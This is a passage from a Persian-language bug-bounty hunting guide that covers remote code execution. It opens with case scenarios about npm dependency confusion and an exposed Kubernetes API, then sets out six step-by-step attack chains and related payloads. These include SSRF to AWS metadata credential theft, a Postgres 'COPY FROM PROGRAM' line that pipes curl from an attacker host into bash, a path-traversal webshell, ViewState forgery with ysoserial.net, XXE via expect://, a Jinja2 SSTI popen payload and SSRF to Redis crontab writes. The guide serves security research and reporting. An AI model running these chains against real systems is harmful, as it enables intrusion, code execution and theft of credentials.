پژوهشگری با مرور bundleهای JavaScript سروشده از endpointهای CDN هدف و repoهای عمومی GitHub متعلق به یک پلتفرم پرداخت بزرگ، نام‌های پکیج داخلی npm را enumerate کرد. چند پکیج scoped مثل @internal/* ارجاع می‌شدند ولی روی registry عمومی npm ثبت نشده بودند. پژوهشگر پکیج‌های هم‌نام با ورژن بالاتر حاوی اسکریپت postinstall منتشر کرد که callback میاری اجرا می‌کرد. ظرف چند ساعت callback از چند IP متعلق به فارم build مربوط به CI/CD هدف فعال شد — تأیید اینکه هر npm install روی زیرساخت build آن‌ها کد کنترل‌شده‌ی مهاجم را اجرا می‌کند. همین تکنیک علیه ابزارسازی داخلی یک پلتفرم ride-sharing هم کار کرد. تأثیر: اجرای کد دلخواه روی سرورهای build با دسترسی به credentialهای دیپلوی production و کلیدهای امضا.

‏سناریوی C: API مربوط به Kubernetes درمعرض ← تسخیر کلاستر

در reconnaissance روی زیرساخت ابری هدف، پژوهشگری یک API server عمومی Kubernetes (پورت ۶۴۴۳) با RBAC بیش‌ازحد آزاد کشف کرد. با توکن‌های service account پیش‌فرض و فراخوانی‌های unauthenticated، podهای درحال‌اجرا را enumerate کرد، secretها را از namespace مربوط به default گرفت (از جمله credentialهای دیتابیس و کلیدهای API شخص‌ثالث)، و توانایی ساخت pod ممتاز با hostPID: true را نشان داد — یعنی compromise کامل node. کلاستر Kubernetes سرویس‌های production اصلی هدف را مدیریت می‌کرد. تأثیر: دسترسی به همه‌ی secretهای ذخیره‌شده، امکان دیپلوی workload مخرب و pivot به هر سرویس در کلاستر.

۱۰

زنجیره‌ها و ترکیب‌ها

Chains & Compositions (Senior Hunting)
ترجمه‌ی کامل ✓بخش ۱۰ از ۱۱

زنجیره‌های attack که این primitive را به impact بالاتر می‌رسانند

‏RCE در دوره‌ی ۲۰۲۰–۲۰۲۶ به‌ندرت از یک sink تکی می‌رسد. هر RCE مدرن از دو جزء ساخته می‌شود: (۱) primitiveای که بایت‌های مهاجم را روی هاست یا وارد pipeline مربوط به deserialization می‌کند، به‌علاوه‌ی (۲) گجت exec که آن‌ها را تفسیر می‌کند. زنجیره‌های زیر شش شکل پردرآمد RCE را به اجزای primitiveشان تجزیه می‌کنند — هر گام به‌تنهایی قابل‌تست است، زنجیره است که پاداش می‌دهد.

زنجیره‌ی ۱ — SSRF + IMDSv1 + نقش IAM لو‌رفته ← فراخوانی Lambda ← RCE در بک‌اند (الگوی Capital One)
  • ‏الف. SSRF روی fetcher سمت‌سرور (link-preview، image proxy، URL مربوط به webhook، generator مربوط به PDF). با callback مربوط به OOB در Burp Collaborator تأیید می‌شود.
  • ‏ب. SSRF را به متادیتای AWS IMDSv1 بفرست: http://169.254.169.254/latest/meta-data/iam/security-credentials/<role> ← credentialهای موقت STS برمی‌گرداند.
  • ‏ج. credentialها را با aws lambda invoke --function-name <internal-function> به‌کار ببر — Lambda کد سمت‌سرور اجرا می‌کند که مهاجم از طریق پارامتر ورودی function روی آن اثر دارد.
  • ‏تأثیر: RCE کامل بک‌اند در کانتکست Lambda، به‌علاوه‌ی مسیر pivot به هر چیزی که نقش اعطا می‌کند (S3 / DynamoDB / RDS).
  • ‏شکل واقعی: Capital One در ۲۰۱۹ — جریمه‌ی مدنی $۸۰M، محکومیت مهاجم. SSRF در WAF روی EC2 ← IMDSv1 ← نقش IAM ← نشت ۱۰۶ میلیون رکورد از طریق sync مربوط به S3. ارجاع متقابل به hunt-ssrf استناد #۶.
زنجیره‌ی ۲ — SQLi + `COPY FROM PROGRAM` ← RCE مستقیم سطح-سیستم‌عامل روی هاست Postgres
  • ‏الف. SQLi روی بک‌اند Postgres تأییدشده (boolean/time-based کافی است؛ UNION لازم نیست).
  • ‏ب. کاربر DB یا مجوز pg_read_server_files یا COPY را دارد (پیش‌فرض بسیاری از نقش‌های AWS RDS / Google Cloud SQL وقتی دیتابیس‌های «admin» وجود دارند).
  • ‏ج. query را stack کن: '; COPY users FROM PROGRAM 'curl http://attacker/x.sh | bash'; -- ← Postgres به /bin/sh -c <attacker command> shell می‌زند ← RCE به‌عنوان کاربر postgres.
  • ‏تأثیر: RCE به‌عنوان کاربر دیتابیس که در Postgres مدیریت‌شده غالباً credentialهای IAM و دسترسی مستقیم به منابع دیگر AWS دارد.
  • ‏شکل واقعی: چند افشای H1 در ۲۰۲۰–۲۰۲۴ در اپ‌های SaaS با بک‌اند Postgres. ارجاع متقابل به hunt-sqli استناد #۱۲ و بحث علت ریشه‌ای درباره‌ی مجوزهای FILE/xp_cmdshell.
زنجیره‌ی ۳ — آپلود تصویر + Path Traversal در filename + MIME serving ناپیکربندی‌شده ← Webshell
  • ‏الف. آپلود فایل تصویر می‌پذیرد (image/png، image/jpeg). سرور با filename ارائه‌شده‌ی کاربر ذخیره می‌کند یا فقط Content-Type را اعتبارسنجی می‌کند نه محتوای واقعی.
  • ‏ب. فایل .aspx/.jsp/.php با magic-byteهای صحیح تصویر (GIF89a + PHP بعدش) و filename حاوی ../ آپلود کن تا خارج از پوشه‌ی آپلود در web-root بنویسد (../../../public/webshell.php).
  • ‏ج. https://target/webshell.php?cmd=id را request کن — handler مربوط به PHP/ASP.NET سرور اسکریپت را بدون توجه به پالیسی پسوند اجرا می‌کند چون مسیر از فیلتر upload-dir رد نمی‌شود.
  • ‏تأثیر: مهاجم unauthenticated یا کم‌امتیاز روی سرور اپلیکیشن با امتیاز پروسه‌ی web-server به webshell می‌رسد.
  • ‏شکل واقعی: چند کیس افشاشده‌ی H1 روی handlerهای آپلود قدیمی؛ کلاس RCE متعارف پیش از ۲۰۲۰. جفت با hunt-file-upload (جدول دورزدن آپلود) و الگوهای path-traversal در hunt-misc.
زنجیره‌ی ۴ — Prototype Pollution + زنجیره‌ی گجت Lodash/Mongoose ← `child_process.spawn` ← RCE در Node
  • ‏الف. sink مربوط به prototype pollution را شناسایی کن — JSON merge / Object.assign / _.merge مربوط به lodash / زنجیره‌ی Object.create در Node که JSON مهاجم را می‌گیرد.
  • ‏ب. مقدار Object.prototype.shell را true یا Object.prototype.env.NODE_OPTIONS را --require ./malicious.js آلوده کن. prototype آلوده‌شده به child_process.spawn یا vm.runInThisContext پایین‌دست می‌رسد.
  • ‏ج. Sink با shell/env کنترل‌شده‌ی مهاجم اجرا می‌شود ← کد مهاجم در کانتکست پروسه‌ی Node.js با دسترسی کامل به متغیرهای محیط، متادیتای AWS و سرویس‌های داخلی اجرا می‌شود.
  • ‏تأثیر: اجرای JS سمت‌سرور از یک POST مربوط به JSON. رایج در اپ‌های Express که از body-parser + lodash.merge برای ادغام پیکربندی استفاده می‌کنند.
  • ‏شکل واقعی: lodash.merge CVE-2018-16487، CVE-2019-10744، CVE-2020-8203؛ mongoose CVE-2024-53900 (ارجاع متقابل به hunt-sqli استناد #۱۰ — همان خانواده‌ی گجت به $where مربوط به Mongo می‌رسد نه پروسه).
زنجیره‌ی ۵ — ViewState رمزنشده + MachineKey بازیابی‌شده ← deserialization در ASP.NET ← RCE (کلاس ToolShell)
  • ‏الف. endpoint مربوط به ASP.NET را شناسایی کن که __VIEWSTATEENCRYPTED="" دارد (ViewState امضاشده ولی رمزنشده). با Burp / curl روی صفحات دارای فرم تأیید کن.
  • ‏ب. مقدار validationKey مربوط به <machineKey> را بازیابی کن — از نشت پیکربندی (/web.config در دسترس)، از تسخیر ساب‌دامین اپ خواهر با کلید مشترک، یا از زنجیره‌ی اکسپلویت ToolShell مربوط به CVE-2025-53771 که کلید را روی Subscription Edition بیرون می‌کشد.
  • ‏ج. ViewState را با ysoserial.net --plugin=ViewState --validationkey=<key> و payload مربوط به TypeConfuseDelegate / WindowsIdentity جعل کن. به endpoint بفرست. ASP.NET به زنجیره‌ی گجت method-call deserialize می‌کند که به Process.Start ختم می‌شود ← RCE به‌عنوان هویت پروسه‌ی worker.
  • ‏تأثیر: RCE کامل روی front-end مربوط به IIS با هر چیزی که هویت AppPool اعطا می‌کند — غالباً NETWORK SERVICE (با دسترسی اکانت فارم SharePoint) یا بالاتر.
  • ‏شکل واقعی: CVE-2025-53770 / 53771 ToolShell (advisory اضطراری ژوئیه‌ی ۲۰۲۵)؛ قرارگرفتن SP2013 بدون پچ-تا-EoL در معرض. ارجاع متقابل به زنجیره‌ی پیش‌شرط ToolShell در hunt-sharepoint و anti-pattern مربوط به dual-parser در hunt-aspnet.
زنجیره‌ی ۶ — XXE + stream wrapper مربوط به `expect://` در PHP ← RCE مستقیم روی PHP قدیمی
  • ‏الف. XXE با callback مربوط به DTD خارجی تأییدشده (<!ENTITY % x SYSTEM "http://attacker/dtd">).
  • ‏ب. هدف PHP با اکستنشن expect فعال اجرا می‌کند (در ۲۰۲۶ نادر، ولی هنوز روی هاست‌های قدیمی و بعضی ارائه‌دهندگان shared-hosting هست).
  • ‏ج. <!DOCTYPE foo [<!ENTITY xxe SYSTEM "expect://id">]><foo>&xxe;</foo> را بفرست — stream wrapper مربوط به PHP دستور id را از طریق expect اجرا می‌کند ← خروجی در گسترش entity یا از طریق OOB برمی‌گردد.
  • ‏تأثیر: RCE به‌عنوان کاربر PHP/web-server بدون نیاز به primitive جداگانه‌ی آپلود یا SQLi.
  • ‏شکل واقعی: XXE در editor مربوط به emblem در Rockstar Games (H1 #347139، ۲۰۱۸، $۱٬۵۰۰)؛ Adobe Commerce CosmicSting CVE-2024-34102 ‏(XXE ← RCE از طریق exfil کلید crypt). ارجاع متقابل به hunt-xxe استناد #۷ و #۱۰.
الگوی سطح-اپراتور

هر زنجیره‌ی RCE مدرن دو نیم دارد: بایت‌ها می‌رسند (SSRF، SQLi، آپلود، prototype-pollution، ViewState، XXE) و بایت‌ها تفسیر می‌شوند (فراخوانی lambda، COPY PROGRAM، handler مربوط به webshell، child_process.spawn، گجت deserializer، expect://). نیم‌اول را شکار کن؛ نیم‌دوم معمولاً یکی از شش‌تای بالاست. اگر primitive نیم‌اول تو با هیچ‌کدام ترکیب نمی‌شود — پیش از ارسال مکث کن. «می‌تواند به RCE ب انجامد» Low/Medium است؛ «RCE انتها-به-انتها نشان‌داده‌شده» Critical است.

ارجاع‌های متقابل:

  • ‏hunt-ssrf — زنجیره‌ی ۱
  • ‏hunt-sqli — زنجیره‌ی ۲
  • ‏hunt-file-upload — زنجیره‌ی ۳
  • ‏hunt-api-misconfig — زنجیره‌ی ۴
  • ‏hunt-sharepoint / hunt-aspnet — زنجیره‌ی ۵
  • ‏hunt-xxe — زنجیره‌ی ۶
۱۱

دروازه‌ی اعتبارسنجی

Related Skills & Chains
ترجمه‌ی کامل ✓بخش ۱۱ از ۱۱

چک‌لیست‌ها و قواعد پیش از گزارش برای جلوگیری از false positive و N/A

  • ‏‏hunt-ssti — موتورهای template که به eval()/exec()/os.system() می‌رسند RCE پنهان پشت یک فراخوانی render هستند. primitive زنجیره: {{config.__class__.__init__.__globals__['os'].popen('id').read()}} مربوط به Jinja2 که در preview تمپلیت ایمیل reflect می‌شود ← RCE بدون احراز هویت به‌عنوان پروسه‌ی worker.
  • ‏‏hunt-file-upload — primitiveهای نوشتن فایل وقتی پوشه‌ی آپلود web-served است، توسط deserializer پردازش می‌شود یا توسط .htaccess/web.config لود می‌شود به RCE تبدیل می‌شوند. primitive زنجیره: پلی‌گلوت SVG/PHP چک MIME را دور می‌زند ← GET /uploads/shell.php?cmd=id مستقیم ← RCE؛ یا DOCX با stream wrapper مربوط به phar:// ← deserialization مربوط به PHP object ← RCE.
  • ‏‏hunt-ssrf — وقتی primitive مربوط به RCE روی endpoint فقط-داخلی است (کنسول admin، Redis داخلی، script-console مربوط به Jenkins)، آن را از طریق SSRF گیت کن. primitive زنجیره: SSRF خارجی ← http://127.0.0.1:8080/manage/scriptText ‏(Jenkins/Tomcat) ← Runtime.exec مربوط به Groovy ← RCE؛ یا SSRF ← gopher://redis:6379 نوشتن در crontab ← RCE.
  • ‏‏hunt-aspnet — deserialization مربوط به ViewState در ASP.NET کلاس بزرگ RCE پشت پارامتر شناخته‌شده‌ی __VIEWSTATE است. primitive زنجیره: بازیابی machineKey (یا <machineKey> لو‌رفته از افشای web.config) ← ysoserial.net -p ViewState -g TypeConfuseDelegate ← RCE به‌عنوان IIS APPPOOL\<name>.
  • ‏‏security-arsenal — به‌محض اینکه sinkی داری که بایت‌های serialized می‌پذیرد، سراغ درخت payload مربوط به deserialization برو (زنجیره‌های گجت ysoserial برای Java، ysoserial.net برای ViewState/BinaryFormatter در .NET، __reduce__ مربوط به pickle در Python، Marshal در Ruby، متادیتای phar:// در PHP، IIFE در node-serialize برای Node).
  • ‏‏triage-validation — پیش از ادعای Critical دروازه‌ی Pre-Severity را اعمال کن. «RCE کور» که معلوم شود فقط file-write بدون مسیر اجرا است RCE نیست؛ eval سندباکس‌شده‌ای که به os نرسد حداکثر SSTI با شدت Medium است. پیش از نوشتن گزارش whoami یا callback مربوط به DNS مربوط به OOB با مارکر یکتا را اثبات کن.
مراحل استخراج‌شده
  1. ۱‏‏`hunt-ssti` — موتورهای template که به `eval()`/`exec()`/`os.system()` می‌رسند RCE پنهان پشت یک فراخوانی render هستند. primitive زنجیره: `{{config.__class__.__init__.__globals__['os'].popen('id').read()}}` مربوط به Jinja2 که در preview تمپلیت ایمیل reflect می‌شود ← RCE بدون احراز هویت به‌عنوان پروسه‌ی worker.
  2. ۲‏‏`hunt-file-upload` — primitiveهای نوشتن فایل وقتی پوشه‌ی آپلود web-served است، توسط deserializer پردازش می‌شود یا توسط `.htaccess`/`web.config` لود می‌شود به RCE تبدیل می‌شوند. primitive زنجیره: پلی‌گلوت SVG/PHP چک MIME را دور می‌زند ← `GET /uploads/shell.php?cmd=id` مستقیم ← RCE؛ یا DOCX با stream wrapper مربوط به `phar://` ← deserialization مربوط به PHP object ← RCE.
  3. ۳‏‏`hunt-ssrf` — وقتی primitive مربوط به RCE روی endpoint فقط-داخلی است (کنسول admin، Redis داخلی، script-console مربوط به Jenkins)، آن را از طریق SSRF گیت کن. primitive زنجیره: SSRF خارجی ← `http://127.0.0.1:8080/manage/scriptText` ‏(Jenkins/Tomcat) ← `Runtime.exec` مربوط به Groovy ← RCE؛ یا SSRF ← `gopher://redis:6379` نوشتن در crontab ← RCE.
  4. ۴‏‏`hunt-aspnet` — deserialization مربوط به ViewState در ASP.NET کلاس بزرگ RCE پشت پارامتر شناخته‌شده‌ی `__VIEWSTATE` است. primitive زنجیره: بازیابی machineKey (یا `<machineKey>` لو‌رفته از افشای `web.config`) ← `ysoserial.net -p ViewState -g TypeConfuseDelegate` ← RCE به‌عنوان `IIS APPPOOL\<name>`.
  5. ۵‏‏`security-arsenal` — به‌محض اینکه sinkی داری که بایت‌های serialized می‌پذیرد، سراغ درخت payload مربوط به deserialization برو (زنجیره‌های گجت ysoserial برای Java، ysoserial.net برای ViewState/BinaryFormatter در .NET، `__reduce__` مربوط به pickle در Python، Marshal در Ruby، متادیتای `phar://` در PHP، IIFE در `node-serialize` برای Node).
  6. ۶‏‏`triage-validation` — پیش از ادعای Critical دروازه‌ی Pre-Severity را اعمال کن. «RCE کور» که معلوم شود فقط file-write بدون مسیر اجرا است RCE نیست؛ eval سندباکس‌شده‌ای که به `os` نرسد حداکثر SSTI با شدت Medium است. پیش از نوشتن گزارش `whoami` یا callback مربوط به DNS مربوط به OOB با مارکر یکتا را اثبات کن.